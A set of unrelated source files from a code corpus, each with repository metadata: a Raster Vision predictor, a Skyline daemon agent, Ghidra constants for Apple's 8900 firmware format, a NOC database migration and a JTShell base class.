4f5bb1125d4fb3ae5c455db603d8fb749221dd74
617ca15f64e3b8a391432306a743f7d0dfff352f
refs/heads/master
2021-02-26T19:02:53.752971
2020-02-27T17:25:31
2020-02-27T17:25:31
245,547,406
2
1
NOASSERTION
2020-03-07T01:24:09
2020-03-07T01:24:08
null
UTF-8
Python
false
false
4,141
py
from os.path import join import zipfile from rastervision2.pipeline import rv_config from rastervision2.pipeline.config import build_config from rastervision2.pipeline.filesystem.utils import (download_if_needed, make_dir, file_to_json) from rastervision2.core.data.raster_source import ChannelOrderError from rastervision2.core.analyzer import StatsAnalyzerConfig class Predictor(): """Class for making predictions based off of a model bundle.""" def __init__(self, model_bundle_uri, tmp_dir, update_stats=False, channel_order=None): """Creates a new Predictor. Args: model_bundle_uri: URI of the model bundle to use. Can be any type of URI that Raster Vision can read. tmp_dir: Temporary directory in which to store files that are used by the Predictor. This directory is not cleaned up by this class. channel_order: Option for a new channel order to use for the imagery being predicted against. If not present, the channel_order from the original configuration in the predict package will be used. """ self.tmp_dir = tmp_dir self.update_stats = update_stats self.model_loaded = False bundle_path = download_if_needed(model_bundle_uri, tmp_dir) bundle_dir = join(tmp_dir, 'bundle') make_dir(bundle_dir) with zipfile.ZipFile(bundle_path, 'r') as bundle_zip: bundle_zip.extractall(path=bundle_dir) config_path = join(bundle_dir, 'pipeline.json') config_dict = file_to_json(config_path) rv_config.reset( config_overrides=config_dict.get('rv_config'), verbosity=rv_config.verbosity, tmp_dir=rv_config.tmp_dir) self.pipeline = build_config(config_dict).build(tmp_dir) self.scene = None if not hasattr(self.pipeline, 'predict'): raise Exception( 'pipeline in model bundle must have predict method') self.scene = self.pipeline.config.dataset.validation_scenes[0] if not hasattr(self.scene.raster_source, 'uris'): raise Exception( 'raster_source in model bundle must have uris as field') if not hasattr(self.scene.label_store, 'uri'): raise Exception( 'label_store in model bundle must have uri as field') for t in self.scene.raster_source.transformers: t.update_root(bundle_dir) if self.update_stats: stats_analyzer = StatsAnalyzerConfig( output_uri=join(bundle_dir, 'stats.json')) self.pipeline.config.analyzers = [stats_analyzer] self.scene.label_source = None self.scene.aoi_uris = None self.pipeline.config.dataset.train_scenes = [self.scene] self.pipeline.config.dataset.validation_scenes = [self.scene] self.pipeline.config.dataset.test_scenes = None if channel_order is not None: self.scene.raster_source.channel_order = channel_order def predict(self, image_uris, label_uri): """Generate predictions for the given image. Args: image_uris: URIs of the images to make predictions against. This can be any type of URI readable by Raster Vision FileSystems. label_uri: URI to save labels off into. """ try: self.scene.raster_source.uris = image_uris self.scene.label_store.uri = label_uri if self.update_stats: self.pipeline.analyze() self.pipeline.predict() except ChannelOrderError: raise ValueError( 'The predict package is using a channel_order ' 'with channels unavailable in the imagery.\nTo set a new ' 'channel_order that only uses channels available in the ' 'imagery, use the --channel-order option.')
e3108d7acd8e38aaf51c1907544cd85f233fe97f
212724dd876c15ef801fb781e907b1c7dd08f4ae
/skyline/analyzer_dev/agent.py
119b1a148c34b95fdd80d9a272df3f2da99a8d70
[ "MIT" ]
permissive
wfloutier/skyline
b9e769cddccdefeeb7c7cc258524bbf489f9d5eb
b12758dc11564de93c7ad76c1f8ed3327db78aa4
refs/heads/master
2020-08-08T03:19:40.283298
2019-10-09T11:05:13
2019-10-09T11:05:13
213,693,601
0
0
NOASSERTION
2019-10-08T16:20:15
2019-10-08T16:20:15
null
UTF-8
Python
false
false
7,067
py
import logging import sys import traceback from os import getpid, kill import signal from os.path import dirname, abspath, isdir from daemon import runner from time import sleep, time from logging.handlers import TimedRotatingFileHandler, MemoryHandler import warnings warnings.filterwarnings('error', 'a', RuntimeWarning, 'pandas', 0) import os.path sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)) sys.path.insert(0, os.path.dirname(__file__)) import settings from validate_settings import validate_settings_variables from analyzer_dev import AnalyzerDev skyline_app = 'analyzer_dev' skyline_app_logger = '%sLog' % skyline_app logger = logging.getLogger(skyline_app_logger) logfile = '%s/%s.log' % (settings.LOG_PATH, skyline_app) class AnalyzerDevAgent(): def __init__(self): self.stdin_path = '/dev/null' self.stdout_path = '%s/%s.log' % (settings.LOG_PATH, skyline_app) self.stderr_path = '%s/%s.log' % (settings.LOG_PATH, skyline_app) self.pidfile_path = '%s/%s.pid' % (settings.PID_PATH, skyline_app) self.pidfile_timeout = 5 def run(self): if len(sys.argv) > 1 and sys.argv[1] == 'stop': do_not_overwrite_log = True # This should hopefully take care of a TODO from the bin files, # TODO: write a real kill script # This is basically from the python-daemon function: # def _terminate_daemon_process from: # https://github.com/elephantum/python-daemon/blob/a38aefd37d319586a9e7ab034435928b1c243e49/daemon/runner.py#L133 # logging with multiprocessing and log rotation is difficult. I am # certain that many a people have been in a helpless and hopeless # state when trying to debug Skyline, those python truncating log # handlers, it is not easy. Many, many combinations of things have # been attempted in this area to attempt to be able to have the # agents just append the log. The TimedRotatingFileHandler does not # help matters either as it has no mode='a'. It could be handled by # normal log rotation but multiprocessing does not make that easy # either. It is a difficult problem and adding a multiprocessing # log Queue with the agent listening and writing has been consider # too. It may work, but adds a lot more complexity, for me anyway. # The ideal is to have to agent.py creating/appending to log # and not overwriting the damn thing and TimedRotatingFileHandler, # everything is possible :) And the new bin bash files do a pretty # good job anyway and have for 2 years now, maybe havign lost 1 or 2 # in the 2 years that they have been managing the logs :) # @earthgecko 20160520 pid = int(open(pidfile_path).read()) try: kill(pid, signal.SIGTERM) print '%s pid %s stopped' % (skyline_app, str(pid)) sys.exit(0) except OSError, exc: print 'Failed to kill pid %s' % str(pid) sys.exit(1) else: logger.info('starting skyline ' + skyline_app) Analyzer(getpid()).start() while 1: sleep(10) def run(): """ Check that all the `ALGORITHMS` can be run. Start the AnalyzerAgent. Start the logger. """ if not isdir(settings.PID_PATH): print('pid directory does not exist at %s' % settings.PID_PATH) sys.exit(1) if not isdir(settings.LOG_PATH): print('log directory does not exist at %s' % settings.LOG_PATH) sys.exit(1) if len(sys.argv) > 1 and sys.argv[1] == 'stop': do_not_overwrite_log = True # This should hopefully take care of a TODO from the bin files, # TODO: write a real kill script # as above @earthgecko 20160520 pidfile_path = settings.PID_PATH + '/' + skyline_app + '.pid' pid = int(open(pidfile_path).read()) try: kill(pid, signal.SIGTERM) print '%s pid %s stopped' % (skyline_app, str(pid)) sys.exit(0) except OSError, exc: print 'Failed to kill pid %s' % str(pid) sys.exit(1) logger.setLevel(logging.DEBUG) formatter = logging.Formatter("%(asctime)s :: %(process)s :: %(message)s", datefmt="%Y-%m-%d %H:%M:%S") if len(sys.argv) > 1 and sys.argv[1] == 'stop': handler = logging.FileHandler( settings.LOG_PATH + '/' + skyline_app + '.stop.log', mode='a', delay=False) else: handler = logging.handlers.TimedRotatingFileHandler( logfile, when="midnight", interval=1, backupCount=5) memory_handler = logging.handlers.MemoryHandler(256, flushLevel=logging.DEBUG, target=handler) handler.setFormatter(formatter) logger.addHandler(memory_handler) # Validate settings variables valid_settings = validate_settings_variables(skyline_app) if not valid_settings: print ('error :: invalid variables in settings.py - cannot start') sys.exit(1) if len(sys.argv) > 1 and sys.argv[1] == 'stop': do_not_overwrite_log = True else: # Make sure we can run all the algorithms try: # from analyzer import algorithms import algorithms_dev logger.info('Testing algorithms') timeseries = map(list, zip(map(float, range(int(time()) - 86400, int(time()) + 1)), [1] * 86401)) # ensemble = [globals()[algorithm](timeseries) for algorithm in settings.ALGORITHMS] ensemble = [getattr(algorithms_dev, algorithm)(timeseries) for algorithm in settings.ALGORITHMS] logger.info('Tested algorithms OK') logger.info('ensemble: %s' % str(ensemble)) except KeyError as e: print('Algorithm %s deprecated or not defined; check settings.ALGORITHMS' % e) sys.exit(1) except Exception as e: print('Algorithm test run failed.') traceback.print_exc() sys.exit(1) logger.info('Tested algorithms') del timeseries del ensemble analyzer = AnalyzerDevAgent() if len(sys.argv) > 1 and sys.argv[1] == 'stop': do_not_overwrite_log = True else: logger.info('starting analyzer_dev.run') memory_handler.flush if len(sys.argv) > 1 and sys.argv[1] == 'run': analyzer.run() else: daemon_runner = runner.DaemonRunner(analyzer) daemon_runner.daemon_context.files_preserve = [handler.stream] daemon_runner.do_action() if len(sys.argv) > 1 and sys.argv[1] == 'stop': do_not_overwrite_log = True else: logger.info('stopped analyzer_dev') if __name__ == '__main__': run()
e8d681f0fd6132ac3ec5f78f2a19a7626eb73e81
786027545626c24486753351d6e19093b261cd7d
/ghidra9.2.1_pyi/ghidra/file/formats/ios/apple8900/Apple8900Constants.pyi
f4484ba6bda351773a13dd061d24c65d6032375b
[ "MIT" ]
permissive
kohnakagawa/ghidra_scripts
51cede1874ef2b1fed901b802316449b4bf25661
5afed1234a7266c0624ec445133280993077c376
refs/heads/main
2023-03-25T08:25:16.842142
2021-03-18T13:31:40
2021-03-18T13:31:40
338,577,905
14
1
null
null
null
null
UTF-8
Python
false
false
958
pyi
import java.lang class Apple8900Constants(object): AES_IV_ZERO_BYTES: List[int] = array('b', [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) AES_KEY_BYTES: List[int] = array('b', [24, -124, 88, -90, -47, 80, 52, -33, -29, -122, -14, 59, 97, -44, 55, 116]) AES_KEY_STRING: unicode = u'188458A6D15034DFE386F23B61D43774' FORMAT_ENCRYPTED: int = 3 FORMAT_PLAIN: int = 4 MAGIC: unicode = u'8900' MAGIC_BYTES: List[int] = array('b', [56, 57, 48, 48]) MAGIC_LENGTH: int = 4 def __init__(self): ... def equals(self, __a0: object) -> bool: ... def getClass(self) -> java.lang.Class: ... def hashCode(self) -> int: ... def notify(self) -> None: ... def notifyAll(self) -> None: ... def toString(self) -> unicode: ... @overload def wait(self) -> None: ... @overload def wait(self, __a0: long) -> None: ... @overload def wait(self, __a0: long, __a1: int) -> None: ...
e9fa3b97e68a4174d68b1eb712a4ecfc00517d6a
2337351b228818e41be3002bd38f68f77c2aa074
/vc/migrations/0026_vcdomainprovisioning_resource_group.py
f3e9edecabe1e4aaa2a15c894edf84d4149fce74
[ "BSD-3-Clause" ]
permissive
nocproject/noc
57d40c680a1499374463e472434f9595ed6d1374
6e6d71574e9b9d822bec572cc629a0ea73604a59
refs/heads/master
2023-08-31T01:11:33.544573
2023-08-30T17:31:11
2023-08-30T17:31:11
107,815,776
105
33
BSD-3-Clause
2023-07-31T07:57:45
2017-10-21T21:04:33
Python
UTF-8
Python
false
false
706
py
# ---------------------------------------------------------------------- # Add Resource Group to vc domainprovisioning # ---------------------------------------------------------------------- # Copyright (C) 2007-2021 The NOC Project # See LICENSE for details # ---------------------------------------------------------------------- # Third-party modules from django.db import models # NOC modules from noc.core.migration.base import BaseMigration class Migration(BaseMigration): def migrate(self): self.db.add_column( "vc_vcdomainprovisioningconfig", "resource_group", models.CharField("Resource Group", max_length=64, null=True, blank=True), )
5cf693023453b8bd4cd23869f8c84666ede5542d
481daea741175413a840e922014505b0089dfd04
/processers/processer.py
c60964c6cf600594387bf9f42e0ac39550dd57d8
[]
no_license
the16thpythonist/JTShell
b512813104e3ba5d19964bcb1dbb1e124adc6b5e
7b194b5132512aa9ed79a0c7d9757f24dbde9a5f
refs/heads/master
2021-05-30T02:19:48.182831
2015-11-07T00:43:35
2015-11-07T00:43:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,748
py
__author__ = 'Jonas' from JTShell.util.message import Message import time class Processer: """ the base class for all objects, that are involved with the command execution process of the Shell, implementing the connection with the logger and writer objects of the program, if needed/enabled, that can both be accessed through calling the inherited _write method, which will write the message into both objects :var logger: (Logger) the logging object of the shell program :var writer: (Writer) the writer object of the shell program :var name: (string) the name of the class combined with their very own id :parameter shell: (Shell) the shell object from wich the Processer object was created in, so the object can acces the writer and logger objects of the shell """ def __init__(self, shell): self.shell = shell self.name = "" def _write(self, typ, message): """ a method, which will pass any given message to the logger and writer objects, if given, which in thier turn will then process those messages further, writing them into log files or displaying it to the user. the passed string argument "type" defines the appearance of the message and is divided into "error", "process", "output", "warning". :param message: (string) the message to be displayed :param typ: (string) the type of message given :return: (void) """ if self.shell.writer is not None: self.shell.writer.write(Message(typ, "{0}: ".format(self.name) + message)) if self.shell.logger is not None: self.shell.logger.write(Message(typ, "{0}: ".format(self.name) + message))